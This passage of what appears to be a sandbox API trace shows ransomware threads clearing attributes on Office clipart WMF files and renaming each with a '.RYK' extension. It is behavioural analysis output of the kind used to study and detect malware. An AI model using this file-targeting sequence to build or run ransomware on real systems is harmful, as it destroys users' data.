	[0266.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3297
	os_tid = 0x3868

	[0266.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF", dwFileAttributes=0x80) returned 0
	[0266.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3298
	os_tid = 0x386c

	[0266.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF", dwFileAttributes=0x80) returned 0
	[0266.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.602] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3299
	os_tid = 0x3870

	[0266.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF", dwFileAttributes=0x80) returned 0
	[0266.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.603] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3300
	os_tid = 0x3874

	[0266.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF", dwFileAttributes=0x80) returned 0
	[0266.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.027] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3301
	os_tid = 0x3878

	[0266.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF", dwFileAttributes=0x80) returned 0
	[0266.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.606] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3302
	os_tid = 0x387c

	[0266.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF", dwFileAttributes=0x80) returned 0
	[0266.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3303
	os_tid = 0x3880

	[0266.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF", dwFileAttributes=0x80) returned 0
	[0266.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3304
	os_tid = 0x3884

	[0266.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF", dwFileAttributes=0x80) returned 0
	[0266.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3305
	os_tid = 0x3888

	[0266.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF", dwFileAttributes=0x80) returned 0
	[0266.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3306
	os_tid = 0x388c

	[0266.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF", dwFileAttributes=0x80) returned 0
	[0266.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0267.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3307
	os_tid = 0x3890

	[0266.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF", dwFileAttributes=0x80) returned 0
	[0266.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.768] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3308
	os_tid = 0x3894

	[0266.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF", dwFileAttributes=0x80) returned 0
	[0266.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3315
	os_tid = 0x38b4

	[0266.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF", dwFileAttributes=0x80) returned 0
	[0266.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3316
	os_tid = 0x38b8

	[0266.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF", dwFileAttributes=0x80) returned 0
	[0266.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3317
	os_tid = 0x38bc

	[0266.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", dwFileAttributes=0x80) returned 0
	[0266.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3318
	os_tid = 0x38c0

	[0266.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF", dwFileAttributes=0x80) returned 0
	[0266.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3319
	os_tid = 0x38c4

	[0266.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF", dwFileAttributes=0x80) returned 0
	[0266.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3320
	os_tid = 0x38c8

	[0266.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF", dwFileAttributes=0x80) returned 0
	[0266.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3321
	os_tid = 0x38cc

	[0266.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF", dwFileAttributes=0x80) returned 0
	[0267.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3322
	os_tid = 0x38d0

	[0266.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF", dwFileAttributes=0x80) returned 0
	[0266.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3323
	os_tid = 0x38d4

	[0266.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF", dwFileAttributes=0x80) returned 0
	[0267.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3324
	os_tid = 0x38d8

	[0266.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF", dwFileAttributes=0x80) returned 0
	[0267.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3325
	os_tid = 0x38dc

	[0266.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF", dwFileAttributes=0x80) returned 0
	[0267.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3326
	os_tid = 0x38e0

	[0266.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", dwFileAttributes=0x80) returned 0
	[0267.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3327
	os_tid = 0x38e4

	[0266.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", dwFileAttributes=0x80) returned 0
	[0267.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3328
	os_tid = 0x38e8

	[0266.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", dwFileAttributes=0x80) returned 0
